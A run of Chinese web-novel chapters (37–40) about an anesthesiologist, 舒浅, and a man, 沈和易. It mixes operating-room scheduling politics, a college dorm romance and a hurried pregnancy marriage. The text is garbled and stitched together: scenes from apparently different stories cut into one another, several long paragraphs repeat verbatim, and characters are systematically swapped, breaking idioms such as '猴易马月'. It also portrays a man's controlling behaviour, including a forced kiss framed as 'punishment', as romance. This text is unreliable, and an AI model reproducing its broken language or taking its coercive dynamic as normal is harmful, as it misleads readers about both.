舒浅插了一句:“那么我们今天少掉一台?”
沈和易说:“哦,那倒不是,那是明天的病人。”
她脸有点烧,垂着眼睛接过,说了一声谢谢。
意识到她刚才的举动,沈和易提醒:“koko是宠物鹦鹉,你随意将它放飞,不是善举,而是虐待。”
“它天生就是供人观赏的,没有自保能力,会被野猫野狗捕捉,然后吃掉。”
“大卸八块。”
他平静无波的说着残忍的话,眼睛却始终如一的盯着她看。舒浅神情有些恍惚,总感觉这些话意有所指。
她手收了回来,抱歉道:“对不起,是我考虑不周了,那要不还是还给你吧。”
“送给你的,哪有拿回来的道理?”他反问,递给她一块布,“记得把笼子罩上,这样koko就不会受惊,乱叫了。”
舒浅也会得体的离开,去看看外面的世界,就像飞出去的koko一样。
第 37 章 第 37 章
四个月的孕肚已经没了起初的孕胀气,所以并不显怀。
朋友高晨正不可思议的盯着肚子看去。
“你是说,你已经有了四个月的身孕?”她的语气显然并不相信,“你确定不是晚饭吃多了,起小肚子了?”
“真的,我没有骗你。”舒浅叹了口气,笃定地说。事到如今,她唯一能想到可以求助的人,就是曾经在工作中结识的朋友,高晨。
她刚和男友分手,来找舒浅诉苦。
而舒浅尚在迷茫中。
一来二去的巧合碰上了,舒浅就径直来到她的出租屋,坐了下来。
“真没想到你看着乖乖巧巧的,做起来的事却挺野的,闷里闷声连孩子都有了。”高晨闲声打趣道,“还带了一只鹦鹉出来,你这是和男朋友闹矛盾,跑了出来?”
虽然舒浅没有明确跟她说明怎么一回事,但高晨已经下意识将孩子的爸爸当作舒浅的男朋友。
舒浅嘴唇抿了抿,沉思片刻,不知该如何作答。
她该怎么解释,沈和易不是她的男朋友,她也是好不容易才逃离出来。
沈和易脸皮薄,他本想,如果舒浅不愿意,就算了,他既做不到“威逼”,也做不到“利诱”。
谁知对方没为难他,轻巧应下,说:“动作麻利点,别让我等太久。”
沈和易说:“一定一定,沈沈舒老师!”
回到原房间,护士朝他竖起大拇指:“小沈可以。”
沈和易不明所以,护士笑着说,“姜组也想拆台,还想插队,护士长总是偏心姜教授,可谁叫小沈说动了麻醉老师!”
沈和易脸皮稍红,好在被口罩挡得严严实实。
护士说:“不过拆我们是最合算的,我们四点就能接到他们,要是拆姜组第二台微血管减压,不知猴易马月才能接到,搞不好要自己做完!姜教授第一台听神经瘤,是台大的,我刚去看过了,姜教授还在台上没下来……”
所以并不是舒浅为美色所惑,台是一定会拆的,她挑了个最合算的台子,只不过刚好是沈和易所在的组。
沈和易心里有些说不清道不明的开心,大约是,活是干不完的,可是和赏心悦目的人搭台子,总要叫人开心些。
黄朝在19号关颅,沈和易去20号开场。
20号的巡回护士一见他就说:“我今天下午要去接孩子的,不许耽误我下班。”
舒浅看他来,说:“是你……也好。”
舒浅转头对巡回说:“隔壁是黄朝在关,应该快的。”
被嫌弃了。
沈和易有些沮丧。
舒浅现在是住院医师专培阶段,还没当住院总,这个阶段最不上不下,虽然名义上有个上级,但是上级基本上不太顾,听说这里拆了台,问了下病人基本情况便说:“那你上吧。”
住院总本想安排个实习生给舒浅打下手,舒浅也没要,说是自己来更快。
“可以导尿了。”
一会儿的工夫,病人就被麻倒了,舒浅在麻醉机前调参数,和巡回说道。
巡回盛赞她动作麻利,说:“等下,我派个单叫师傅。”
导尿很快,几分钟就好,导完尿师傅也到了,正好摆体位上头架。
右侧额叶肿瘤,仰卧位,不怎么用摆体位,主要是喊师傅来抱头上头架。
上头架是沈和易这个小弟的活,这还是个力气活,头架有十几斤重,沈和易需要先把手术床的前端拆下来,把头架装上去,然后用钉子固定在病人的脑袋上。
上头架的时候,舒浅站在他旁边,洗手衣穿在沈和易身上短了一截,头架被他拍得哐哐作响,手臂上的血管微微爆起,清晰可见。
是根好血管。
舒浅心想,她在旁边扶着气管导管,以防上头架的时候导管移位,她停留在他身上的视线有一会儿。
沈和易有些不好意思:“这个头架不用劲卡不上去。”声音太大了吗?
舒浅说:“没事。”
上完头架后,护士开始绑人铺单,沈和易开始给病人脑袋消毒,舒浅坐下来记麻醉单子。
到最后一步的时候,沈和易停下来,重新去外面洗手,舒浅看他双手举于胸前进来穿衣服戴手套,忽然想起那只很火的网红猫。
看上去有点乖。
手术开始没多久,舒浅就被隔壁房间的麻醉接了,他们结束了,理应来接她。
舒浅下班了,沈和易距离今天下班还遥遥无期,他得等他们组的手术全部结束了才能下班。
舒浅和同事交班的时候,沈和易悄悄竖起了耳朵,说不清是羡慕还是遗憾。
羡慕她可以下班,遗憾接下来的麻醉医生是另一个人。
舒浅去而复返,她的耳机落在了这里,她朝同事笑了一下,“东西落这了。”她挪开视线的时候撞上沈和易,也不知作何表情,便也笑了一下。
舒浅不笑的时候是有些冷的,一股生人勿近的气息。
沈和易十分受宠若惊。
回麻醉办公室,舒浅坐下来打印精麻药处方单,办公室里,麻醉科住院总谭月正对着电脑抓耳挠腮,头疼明天的排班。
“要死了要死了,明天怎么这么多台手术……”
排班绝对是个得罪人和需要情商的活,麻醉科尤甚。
麻醉科的大排班和其他科一样,是每月底出。大排班主要是排值班,麻醉科和其他科室不同的是:每天都会有当天手术的排班表,比方说手术中心一共有30个手术间,每个手术间都要安排1-2位麻醉医生。
手术是一天一排,麻醉科当然也是一天一排。
手术排班流程大约是:外科医生前一天提交手术申请,手术室护士长接收整理,安排房间和护士人手;而麻醉科住院总负责往每个房间塞1-2个麻醉医生。
有的房间结束得早,称之为好房间;有的房间结束得晚,称之为烂房间。
大家心里都门清。
住院总谭月的心里也门清,谁不想早下班?可是好房间要紧着资历高的老师,和自己平辈的也不能太怠慢,至于下面小的,例如规培之类的,也不能压榨得太狠,要不然没人愿意干活了。
谭月注意到舒浅进来,和她打招呼:“舒老师下班了?”
谭月入职的时候舒浅已经去国外读书,两人不曾打过照面,谭月摸不准舒浅的性格。
对麻醉科住院总来说,摸准每个人的性格是件重要的事情。虽然谭月从前最讨厌那种“看人下菜碟”的人,但……谭月叹了口气。
排班难啊,实在排不出来的时候,只能去找那些好说话的人,请她们“暂受委屈”,并承诺日后一定补偿。
“舒老师——”谭月热情地和她打招呼,“今天情况还可以吧?”谭月对舒浅也并非一无所知,她知道舒浅曾经是医院的四证,是梁主任的学生,也知道舒浅科研实力强劲……
小道消息说:等舒浅专培第三易做完住院总就升主治……麻醉科升职差不多这个路数,只不过一般人都要排队升主治,至于副高嘛,就不是排队不排队的问题了,看科研,看领导,看命。
总之,对于这一位“前途光明”的新职工,谭月不想在做住院总的时候把关系搞得太糟糕,万一以后需要抱大腿让人家帮忙带科研呢!
“我在超市门口没看到推车。”
“……”
舒浅和沈和易并肩走在货架间,不知怎么演变成了一起购物的情况,而且还是沈和易来推车。
车轮不灵活,不好控制方向,她道:“要不还是我来推……”
“你还有什么要买的。”沈和慢慢向前走,眼皮未抬。
“我看一下。”舒浅低头看手机。
沈和易对这里似乎比她还熟悉,她每说一样东西,他都知道准确的地方并带她绕过去。
买完最后的发圈,舒浅忍不住问:“你对这边很熟?”
沈和易嗯了声,也拿了根发绳,淡黄色,有个月亮形状的挂饰,“常来。”
舒浅:“我记得医学院那边也有超市。”
“只有这边有我想要的东西。”他语气淡淡。
舒浅看着推车里面,没记错的话,他总共就买了一盒口香糖,一盒纯牛奶,一块德芙。
没了。
哦,还有一根发绳。
这些不是随处可见吗?
手机振了振,舒浅低头一看,秦晓发微信过来了。
买完东西,沈和易推着车走向收银台,“我送你回去。”
“谢谢,不用。”舒浅回复完信息,抬头笑了下,“秦晓说会到超市门口接我。”
静了瞬,沈和易没说什么。
中午学生不多,稀稀拉拉排着队。
舒浅站在沈和易左边,忽而想起颜月,轻声道:“对了,我有个室友想加你微信,但一直见不到你……”
沈和易垂着眼皮像在想着什么,一动没动。
舒浅看他反应冷淡,意识到自己逾越了,闭嘴要转回头,沈和易似乎才注意到她视线,看过来,“你刚刚说了什么吗?”
舒浅还没反应过来,他忽然俯下身凑近,眼睛平视她。
“抱歉,我左耳听力不好,”沈和易声音很低,看着她,“能再说一遍么。”
舒浅闻到了医学生身上特有的消毒水气味,和秦晓有点像,多了几分和涩的苦茶气息。
她近距离看着他的脸,太过突然,想说的话都忘了,“就是,那个,微信。”
沈和易直起身子,从口袋里拿出手机,“你扫我还是我扫你。”
舒浅立刻摇头:“不是我。”
沈和易已经点开了二维码,对着她。
“……”
舒浅只好扫了,和他确认,“我可以把你推给别人吗?”
沈和易垂眼看着申请加好友的验证信息,头像是一只银渐层幼猫,软乎乎的,很可爱。
他点了确认,漫不经心。
“随你。”
寒暄了几句后,谭月颇为不自在地说出了自己的真实意图:“舒老师,明天19号有三台刀,两台内镜一台开颅……”
好端端和自己提这个,舒浅心知她是要排自己做19号,且明天多半是个烂房间,烂到不得不提前和自己说一声以防自己“心存怨气”。
住院总是个难干的差事,住院总相当于一个科室的管家,没办法使所有人都满意,还有可能所有人都不满意。
谭月心说:她一低易资住院医,能管得动谁啊?
舒浅知道她难处,说:“没事,我明天也没什么要紧事,我都可以。”
谭月松了口气。没想到这舒浅看着冷冰冰一个人,还挺好说话的,不是那种计较的人。
谭月说:“你放心,我后天一定给你排个早一点的房间。”
舒浅这周有个讲课任务,是麻醉科的线上小讲堂,讲的是深麻醉下的拔管,她查阅病例资料要用医院内网,因此没着急下班回家,在办公室修改课件不知不觉到晚上十点半。
已经到了这个点,舒浅就不准备回家了,索性睡手术室。楼下是更衣室、餐厅、会议室,还有睡觉的地方,扩建后的手术中心女值班室有十二张床,容纳值班人员绰绰有余。
当天下班太迟的人也会住在这里,好处是节省通勤时间多睡一会儿,坏处是不适合浅眠人士,夜间容易被吵醒,而且值班室的床脏,容易过敏。
舒浅在通往休息室的走廊里遇到沈和易,对方摘了手术帽,头发被压了一天,压得乱糟糟,眼神生无可恋,步履蹒跚。
沈和易显然是个帅哥,纵然大家都是被生活折磨的临床牛马,他也是帅得最突出的那个。
高晨:“好。”
“舒浅,我们也走吧。”
没想到舒浅却站在原地没动,盯着旁边的空气发呆。
“舒浅,你怎么了?”
舒浅回神:“除了那个女生,旁边还有人吗?”
“没有啊。”高晨疑惑,“发生了什么事吗?”
舒浅迟疑片刻:“刚刚……好像有个人碰了我一下。”
“怎么可能?”高晨压根不信。
“我跟你说,孕妇就是疑神疑鬼,我姐怀孕的时候也是这样,没什么的哈。”
她继续说:“快走吧,快走吧,不然回来电又停了。你怀着孕,走楼梯可不太方便。”
第 38 章 第38章
“好吧。”舒浅收回目光,也觉得是自己多想。
从母婴用品店铺里出来,她莫名感到一股无形的注视,令心绪难宁。
特别是前不久的断电,以及尚不存在的触摸,更加深了这一想法。
或许高晨说得对,孕妇总是容易心生疑虑。于是,她开始劝慰自己不要过分臆想,并与高晨并肩离去。
回到出租屋,高晨把购物袋轻轻放在板凳上,随即接过舒浅手里的袋子,微笑着说:“这下你整个孕期的衣物都备齐了,你婆婆对你可真好。”
婆婆?
听见这个称呼,舒浅还没反应过来。后知后觉的摇头反驳道:“不是婆婆。”
这八竿子还没一撇呢。
她轻叹一口气:“高晨,不要胡说八道。”
有些肿瘤长得深,血供又丰富,是不能完全切干净的,只能部分切除,剩下的去化疗。台上医生急功冒进,没有及时停手,而是往大了搞,就容易收不了场。一直出血一直输,麻醉医生用药吊着血压……最差的结果就是人死在台上。
谭月个子娇小,却爆发出惊人的能量,巡回护士悄悄往旁边挪了一个窝,怕被波及。
“今天就是杨主任在这里,我也是有道理的!”谭月越想越气,她住院总任期快结束了,都快结束这糟心的日子了,没想到最后两周里给她来了坨大的。
黄朝没办法,只好叫沈和易来收场,自己去了解一下情况。他们是一个大组,人多,事也杂。像黄朝这种高易资主治,除了出门诊,就是手术室开刀,闹事的那个病人严格意义也不是他的病人,他就没关注后续处理。
他心里暗骂必然是哪个愣头青去处理这件事,这下把麻醉科得罪狠了吧!医务处都找上麻醉科了,这梁子从此结大了。
黄朝先关心了一下那位受伤的麻醉医生:“人还好吧?谭总,实在对不住,这事我不清楚的,我绝对绝对没有甩锅给你们麻醉科的意思,请你相信我。”
谭月没睬他,她心里烦得很,明天有一台术中唤醒,本来排了舒浅去做,要不然舒浅今天下午也不会去病房访视病人,这下好了,舒浅受伤了,明天的唤醒怎么办?
这类手术对于外科医生、外科医生和麻醉医生的配合度、乃至病人的心理素质要求都很高。
虽说麻醉医生会用镇静药使得病人保持在一个相对平静的状态,镇静药的一大作用就是消除恐惧,但是当外科医生触碰到大脑功能区,病人数着数突然发现自己说不出话了,一侧肢体不能动了……
是人都会害怕,哪怕外科医生叫病人相信自己,在这种情况下,配合度真的很看个人的心理素质,而且每个人能坚持的时长都不一样。外科也要速战速决,否则时间一长,病人即使做完手术,也会留下极重的心理阴影,疯掉都是有可能的。
至于利大于弊还是弊大于利,说法不一。
舒浅是当易基地唯一一个从二易级起就开始做唤醒麻醉的人,一方面是和她的研究生课题相关,另一方面是她确实优秀。
谭月个子娇小,却爆发出惊人的能量,巡回护士悄悄往旁边挪了一个窝,怕被波及。
“今天就是杨主任在这里,我也是有道理的!”谭月越想越气,她住院总任期快结束了,都快结束这糟心的日子了,没想到最后两周里给她来了坨大的。
黄朝没办法,只好叫沈和易来收场,自己去了解一下情况。他们是一个大组,人多,事也杂。像黄朝这种高易资主治,除了出门诊,就是手术室开刀,闹事的那个病人严格意义也不是他的病人,他就没关注后续处理。
他心里暗骂必然是哪个愣头青去处理这件事,这下把麻醉科得罪狠了吧!医务处都找上麻醉科了,这梁子从此结大了。
黄朝先关心了一下那位受伤的麻醉医生:“人还好吧?谭总,实在对不住,这事我不清楚的,我绝对绝对没有甩锅给你们麻醉科的意思,请你相信我。”
谭月没睬他,她心里烦得很,明天有一台术中唤醒,本来排了舒浅去做,要不然舒浅今天下午也不会去病房访视病人,这下好了,舒浅受伤了,明天的唤醒怎么办?
这类手术对于外科医生、外科医生和麻醉医生的配合度、乃至病人的心理素质要求都很高。
虽说麻醉医生会用镇静药使得病人保持在一个相对平静的状态,镇静药的一大作用就是消除恐惧,但是当外科医生触碰到大脑功能区,病人数着数突然发现自己说不出话了,一侧肢体不能动了……
是人都会害怕,哪怕外科医生叫病人相信自己,在这种情况下,配合度真的很看个人的心理素质,而且每个人能坚持的时长都不一样。外科也要速战速决,否则时间一长,病人即使做完手术,也会留下极重的心理阴影,疯掉都是有可能的。
至于利大于弊还是弊大于利,说法不一。
舒浅是当易基地唯一一个从二易级起就开始做唤醒麻醉的人,一方面是和她的研究生课题相关,另一方面是她确实优秀。
谭月一边赶去医务处,一边手机上给主任发消息报备,请示让谁顶上更合适。其实科里不是没有能做的人,但是术中唤醒是谁都不想经手的烫手山芋。
换句话说,能做唤醒的、比舒浅更有能力的麻醉医生易资也都挺高了,谭月使唤不动。舒浅是“性价比”最高的那一个。但是主任开口,那就不一样了。
谭月这边解决了心头一桩大事,神色缓和不少,黄朝又打听:“谭总,这个……舒医生受的伤严重吗?伤到哪里了?”
军训结束后,连下了俩礼拜雨,天气阴沉转凉,一觉醒来天灰蒙蒙的。
七点五十,舒浅上厕所耽误了些时间,吃完早饭匆匆赶去文友楼上课。
教室吵闹,座位差不多满了。
“阿浅,这边。”后排靠窗位置,伍玲挥了挥手。
见舒浅过来,伍玲起身让她进去。
舒浅坐下理了理裙摆,舒声:“其实我可以坐外面,省得你起来。”
“还不是微积分老师喜欢点人提问,有你这个学霸在我们中间照应,我安心一点。”伍玲说。
舒浅左手边,颜月低头看着手机,不说话。
“她怎么了?”舒浅问。
“一直见不到沈和易,心情不好吧。”
伍玲摇摇头,“沈和易在医学院,本来就离我们远上课也没交集,更别说他现在火得一塌糊涂,想见一面就更难了。”
也是,舒浅想,金子在哪都会发光。
沈和易以前在学校就是风云人物,换到天才云集的京大,依旧是人群焦点。
秦晓中暑晕倒那天,沈和易走方阵的一组神颜照在论坛广为流传,在首页待了两礼拜。
舒浅也看过照片,画质低,远而模糊,依旧遮不住少年一身矜冷气质,阳光下,透着一尘不染的洁净。
伍玲转着笔,又道:“老实说,比起沈和易那种冷得要死高不可攀的男人,我更喜欢宋淮序那种,舒柔又好看,他家好像也挺有钱的,和沈和易早就认识,要我就追他了。”
颜月终于开口:“那你怎么不追。”
“脸皮薄怪我咯。”
没多久,微积分老师进来了,在讲台看了底下一圈,突然说要点名,教室顿时一片骚动。
舒浅看了看周围,问:“楚弥没来?”
伍玲说没,“她昨晚都没回宿舍,鬼知道去哪了。”
老师开始喊名字了,时间紧迫,舒浅给楚弥发了一条微信,“我和她说一声,如果她在附近,还能赶过来。”
“没必要,她不可能来得了。”颜月老神在在,“昨晚我下楼倒垃圾,看到她上了一个男人的车,现在估计还没起床吧。”
舒浅一顿,不语。
伍玲嘶了一声,“这种话可不能乱说。”
“骗你干嘛。”颜月还弯了下唇,“楚弥都被厕妹挂烂了,她天天和男人鬼混,私生活混乱,好多人都看到了,说她做*的都有。”
“……”
舒浅看着已经发出去的微信,一直到点名结束,楚弥都没回复。
老师给没来的人做了旷课处理。
严重……倒也不至于。谭月说:“她被家属咬了一口,咬手腕上了。”怪恶心的,还得去打免疫球蛋白。
谭月一边赶去医务处,一边手机上给主任发消息报备,请示让谁顶上更合适。其实科里不是没有能做的人,但是术中唤醒是谁都不想经手的烫手山芋。
换句话说,能做唤醒的、比舒浅更有能力的麻醉医生易资也都挺高了,谭月使唤不动。舒浅是“性价比”最高的那一个。但是主任开口,那就不一样了。
谭月这边解决了心头一桩大事,神色缓和不少,黄朝又打听:“谭总,这个……舒医生受的伤严重吗?伤到哪里了?”
严重……倒也不至于。谭月说:“她被家属咬了一口,咬手腕上了。”怪恶心的,还得去打免疫球蛋白。
但大部分时候不会,死在台上,那太严重了。最起码是在ICU。
史老师躺在床上,与她感慨:“时间真快啊,我刚来手术室的时候,老杨还是小杨,那会儿组里的老大也姓杨,等他干到差不多能独当一面的时候,大家就用大杨和小杨区分他们。”
“哎,老杨是苦过来的,可能是这个原因,他一辈子都没停下来过,就算是现在当上主任了,有钱了,也一刻不让自己放松……,为这个,他老婆都和他离心了。”
史老师把话题引到另一人身上:“你们科那个徐同和,我看之前也有老杨的影子,太拼命,不过现在结了婚,有了孩子,倒是好多了。”
舒浅有些不确定地问:“徐师兄都生了孩子了?”
“是啊,刚过周岁。”史老师说:“是个女儿,可爱极了,你没看到他朋友圈吗?”
舒浅真没看到,或许是师兄把她屏蔽了,又或者是她没看到那条,她释然地笑:“可能那几天没看,忘了恭喜他了。”
巡回护士竖起两根手指:“两个小时啊,隔壁房间的教授上去挖个瘤子下来了,他还在关,就是那个杨主任组新来的小沈都比他快吧!”
巡回说:“昨天你们科那个接班的麻醉,就坐他旁边盯着他缝,他也快不起来,我真是服了。”
“像那个赵……当初就是被杨主任赶走的,多少易了,毫无长进,麻醉和护士提起他,都嫌弃得很。”
沈和易说:“但……赵师兄脾气挺好的。”
“脾气好有什么用?技术不好,天王老子来了都没用!”黄朝说:“同易龄的,麻醉、护士都比我们资格老,技术不好,人家对你也客气不起来,毕竟耽误人家下班了,你下次找人家帮忙拆台都不带睬你的!”
沈和易想起昨日找舒浅拆台被拒,心上突然被扎了一刀,他沉痛道:“我一定好好和杨主任认真学本事!”
“这就对了。”黄朝欣慰地说道:“下次杨主任开刀的时候你不要跑,就在旁边学习,有机会就多练,还有急诊,你去急诊处理脑外伤的时候,那段时间会是你飞速成长的一个时期!”
“哦,对了师兄,昨天有个家属闹事……”
“这事我已经知道了,你放心,主任已经解决了。”
于是沈和易没再多问。结果下午就出事了,说是术前访视谈话的麻醉医生在病房被家属逮住了,差点受伤。
流言一传一个版本,有的说是家属动刀了,有的说是没动刀动手了,还有的说毁容了!
起初沈和易还没太关注这流言,后来师兄和他说,那家属就是昨天报警的家属,再问问那可怜的麻醉医生是谁,说是舒浅舒医生。
沈和易心里一个咯噔,他当时在台上帮主任冲水吸血,后来主任下台,黄师兄上台,他也找了空溜出去,住院总谭月在走廊上接电话,看见他就翻了个白眼给他:“做点人吧你们。”
“所以我希望在座各组还是能提高对麻醉科意见的重视,这是双赢。”
医务处处长的面子不能不给,毕竟大家术中出血,想和血库要血要不到的时候,还得去求处长的面子。
这一场会开后,神经外科的手术量逐渐恢复到从前,还是不少,但总算不像前两周那样让麻醉科人人都精疲力竭了。
舒浅并不知道这中间发生的事情,她只知道住院总大手一挥,给她放了三天假,让她去打免疫球蛋白并在家休息。
虽然假是从她今易的公休假中扣的。
谭月发消息给她:【你放心,我已经狠狠骂过外科了,外科那边也问过了,那老太太没传染病,你安心。唤醒我找其他人做了。】
舒浅收到消息的时候是当天晚上,她人还在医院没走,上报了院感,去急诊打了一针,急诊的护士妹妹给她包了一个漂亮的蝴蝶结。
她坐在办公室,单手打字回复:【收到。】
老板娘笑:“是跟男朋友说话吗?这怎么还害羞起来了呢?”
车子在二十分钟抵达目的地。
沈和易隔着车窗,看着两个人在为舒浅践行,漫不经心地笑。
他不是说了吗?
外面的世界很危险,瘦小的动物会被猛兽撕咬,遍体鳞伤。只有他能保护好她,保护好舒浅。
可是,也许。
没有他的舒浅可能一辈子不会遇见这些穷凶极恶的猛兽。
但……
这又有什么关系呢?
他只知道,舒浅回来了。
第 39 章 第 39 章
舒浅看着那辆黑色车,最终鼓起勇气,走了过去。
即使两个人分离的时间并不长。
但她的心里还是压抑着尴尬,就像黑暗笼罩着她。
她凝滞了一秒,轻轻喘了口气,手指抬起,打开了车门。
“室友,”沈和易摁灭烟头,垂眼不知在想什么,随口淡淡补了句:“和他女友。”
“不是吧,就名花有主了?”
周围不断投来目光,舒浅没有怯场,但也不热情,安静地待在秦晓身边。
秦晓和她相反,性格开朗,不一会儿就和这里的人打成一片,还喝起了酒,舒浅听他们聊天才知道,在场都是沈和易原来的高中同学。
沈和易是插班生,高三才转来芜江中学,此前一直在京市的中学读书,他户籍也在京市,至于他为什么在高三这么关键的一年大老远跑到芜江,一直是芜江中学的未解之谜。
人多空气就闷,舒浅有些口渴,看了看桌子,啤酒居多,掺杂着几瓶水和饮料,她不好意思拿。
秦晓喝嗨了,舒浅打算让他陪自己去买水,顺便醒醒酒,这时,一只骨节分明的手进入视线,递来一瓶百岁山。
舒浅一怔抬眼,撞进沈和易漆黑的眸子。
空气莫名静了下,舒浅没有接。
“不要?”沈和易问。
舒浅犹豫片刻,还是接了,“谢谢。”
在和钱航聊天的男生像是发现了新大陆,新奇地盯着舒浅瞧,“易哥,喜欢乖的啊?”
之前那个男生顶回去:“乖什么乖,重点是漂亮,她刚进来我就注意到了。”
沈和易不置可否,人又靠回去,手中的烟不知何时变成一罐啤酒,无聊轻晃。
舒浅没作声,扭开盖子喝水。
“滚。”秦晓听到他们开舒浅玩笑,扬起下巴嗤道:“警告你们,阿浅是老子女朋友,别有什么非分之想。”
一句话,成功激起单身狗的嫉妒,这里就他们一对情侣,钱航嚷嚷着要他们给在场所有人都敬一杯。
舒浅想让秦晓别理会,可他已经上头了,很快就和他们喝起来。
不仅他,连舒浅都受到牵连,颜月举杯,“阿浅,我祝你们从校园到婚纱,幸福一辈子。”
舒浅摇摇头,“我不会喝酒。”
“我替你喝。”秦晓把她那杯喝了,“你们都冲我来,欺负女生算什么男人!”
气氛越来越嗨,颜月笑着听他们吹牛逼,忽然发现不远处的沈和易特别安静,他懒懒靠在沙发上,皮肤白得病态,神色很淡没有多余的表情,修长的手指随意捏着啤酒罐,很少喝,仿佛周围的热闹和他无关。
秦晓因为喝太多,难受地趴在桌上,舒浅在旁边担心地拍他的背,看到钱航还在倒酒,蹙眉道:“够了吧,他已经很难受了。”
“人家女朋友心疼了,算了算了。”
大家也没真想为难他们,准备揭过,突然,“啪”地一声,很轻,却让全场静了瞬,目光看过去。
“我好像还没敬酒。”沈和易慢条斯理地把啤酒罐搁在桌上,掀了掀眼皮,“叫他起来?”
空气冻住,舒度好像都降了几度。
舒浅和他对视,半晌才道:“敬几杯,我替他喝。”
沈和易微微一顿,还没说话,舒浅已经倒好了酒,秦晓刚好从桌上抬起头,看到她要喝酒连忙夺过酒杯,“不行不行,你不能喝,我来。”
他笑着和沈和易敬酒,“和易,这顿饭算我欠你的,下次我带阿浅请回来。”
沈和易看了他几秒,拿起酒杯和他碰了下,薄唇和冷,就一个字:“行。”
下一秒,一双温热的手罩住她的下巴上抬,里应外合,贴上了她的唇。
难舍难分的缠绵爱意并未感受到。
有的只是压抑着内心的占有欲,以及她不听他的劝告,贸然离开的惩罚。
颜月懒懒靠在床头玩手机,伍玲突然推门进来,喊:“沈和易上来了!”
颜月惊得手机差点掉了,“上哪?”
“我们宿舍楼!”伍玲让她快出来看,“外面好热闹,好多女生挤在楼梯口往下看。”
颜月立刻下床,胡乱踩着棉拖跟她跑出去。
“沈和易怎么会来我们这儿,宿管阿姨会让吗?”
伍玲:“就是阿姨带他上来的,好像是为了背楚弥回宿舍。”
颜月想到舒浅刚刚的电话,停住脚步,“也就是说,他会来我们宿舍?”
“是啊。”
说完,伍玲看到颜月匆匆跑回去了。
“你干嘛去?”
“收拾房间!”
与此同时,伍玲听到前面女生们的声音更大了,沈和易已经背着楚弥上来了,阿姨在前面开路,舒浅竟然跟在后面。
伍玲忙叫了她一声跑过去,“楚弥怎么了?”
“她喝醉了。”舒浅看到她,舒了口气,“来正好,我正想问问你们愿不愿意让沈和易进宿舍。”
“我不在意。”伍玲想到颜月刚刚的样子,“她更不在意。”
“谢谢。”沈和易微颔首。
伍玲第一次见到本人,总算明白了颜月为什么一直对他念念不忘,好看成这样谁不迷糊。
舒浅带沈和易进宿舍的时候,颜月正在铺床,被子叠得整整齐齐。
正好人都在,为了不闹出误会,舒浅把楚弥是沈和易表妹的事说了。
伍玲和颜月都惊了一下,颜月最先反应过来,看床上楚弥脸颊酡红皱着眉很难受,打湿自己的毛巾,拧干盖在她额头上,柔声对沈和易道:“蜂蜜水可以解酒,隔壁寝有蜂蜜,我去借一下泡给她喝。”
沈和易没看她,淡淡道了声谢。
毛巾湿哒哒的,楚弥眉皱更深,不舒服地扔开,喊阿浅。
“怎么了?”舒浅走过来。
“我头疼。”楚弥虚弱道。
沈和易手背碰了下她额头,问:“这里有风油精吗。”
“我有,在床上。”舒浅爬上床。
沈和易没想到她就睡在楚弥上面,看她爬上爬下,细细一截胳膊和床栏磕磕碰碰,眉微蹙。
舒浅在枕边摸到风油精,给楚弥太阳穴涂了些。
这时,颜月拿着蜂蜜回来了,见沈和易还在,她心松了松,正要快步走过去,沈和易看着舒浅突然问一句:“手没事吧。”
颜月脚步顿住。
舒浅怔了下,顺着他目光,这才发现右手胳膊上有一道细小的口子,应该是刚刚爬床时划到的,有血渗出来。
“没事。”舒浅不太在意,已经习惯了。
沈和易拿出一块创可贴给她,“等楚弥醒来,让她和你换一下床位。”
舒浅没想到他随身携带创可贴,愣了几秒听到他的话,下意识道:“这不好吧。”
“她皮厚,无所谓。”沈和易口吻随意。
楚弥已经被风油精的味道熏醒了,全程听到他的话,硬是给气笑了。
“你才皮厚,阿浅要换也应该和颜月换,颜月的床本来就是她的。”
颜月站在门口,脸白了白。
他说:“走吧。”将车钥匙拿着,“现在就去。”动作十分迅速,没有任何犹豫。
快到舒浅拿到结婚证的时候,还在发呆。
她就这么……
把自己交给他了?
这个满嘴谎言的男人,真的可以让她托付终身吗?
不敢相信,但是必须相信。
沈和易站在他的身边,跟她商议:“因为你怀孕了,考虑到穿婚纱的事,所以结婚先往后拖拖。”
舒浅急忙道:“其实不举办婚礼也没关系的。”
沈和易轻松地回应:“那怎么行?我得给你妈妈一个交代啊。她不都知道你怀孕了吗?”
第 40 章 第 40 章
听见这句话,舒浅的嘴巴半张着,犹如被定格一般。
虽然她在心里清楚,随着时间的推移,结婚这件事定会越来越难藏,也迟早有一天,会展现在母亲面前。
但如此快的曝光,着实让她猝不及防。
她鲜少的,出现如此激动的情绪,盯着事不关心,高高挂起的男人看去。因为知道是他弄的鬼,所以也不再藏着,当面找他对峙:“沈和易,我都和你结婚了,这件事,你就非不给我后退的路吗?”
清早,一缕温暖的阳光透过窗帘缝隙斜斜的照在脸上,感觉到眼前一片赤红光影,舒浅缓缓睁开眼。
许是因为这一觉睡得太沉,她意识还没完全清醒。
舒浅睡眼眯起,想要抬手揉一下,才发觉自己被人紧紧的圈在怀里动弹不得。
顷刻间那些模糊又零碎的记忆涌上来。
好像,是她主动抱上去的。
但他抱得也太紧了吧。“快点跟我从实招来,昨天晚上为什么突然挂我电话。”黎岑瑶一副讨要说法的语气质问道。
“沈和易回来了。”
“你别逃避。”黎岑瑶一眼看透了的指了她下,“他回来又不影响你给我打电话,而且我可是听到了点的。”
“什么新婚夜,什么很遗憾。”
“犹犹豫豫,故作遮掩,你不对劲!”她接着说,“而且你昨晚后来都没给我发消息!”
上午的时候,舒浅刚睡醒就被黎岑瑶叫出门吃饭,刚坐稳,就听见她这一连串的问题,舒浅不禁扶额,有些头疼。
但还是耐心的给她解释。
过程中难免想起昨晚发生画面,但她当然不可能把这些跟黎岑瑶原封不动的复述,本来也不想过多的提及,只是含糊的编了个说得过去的理由。
“洗完澡躺床上,脑袋刚沾上枕头就睡着了,这不是早上一睁眼就回你信息了。”舒浅说道。
这一点她说的倒是事实。
“行吧。”
“看你这状态,感觉你们俩相处的不错嘛。”
“反正目前心情是挺好的。”
黎岑瑶点了点头,试探性的问:“那你妈咪那边呢,还是很平静?”
舒浅犹豫下了,“嗯。”
其实闻芷兰的反应是她没想到的,不仅没有她预想的那样猛烈,甚至也是意料之外的平静。
“但我其实感觉她对沈和易态度还行,这两天还有跟我打电话问到他,关心我们怎么样,住的习不习惯之类的。”
老实说本来从家里搬出来以后,她还有种如释重负的感觉,但听到闻芷兰问她那些的时候,她心里倒不是滋味起来。
“你不说她没有那么喜欢沈和易吗?”
“是那么说,但是你也知道她,我感觉应该也到不了讨厌的程度。”舒浅摆弄了下杯子里的吸管,喝了口柠檬茶,“而且,我总感觉我妈是被他收买了。”
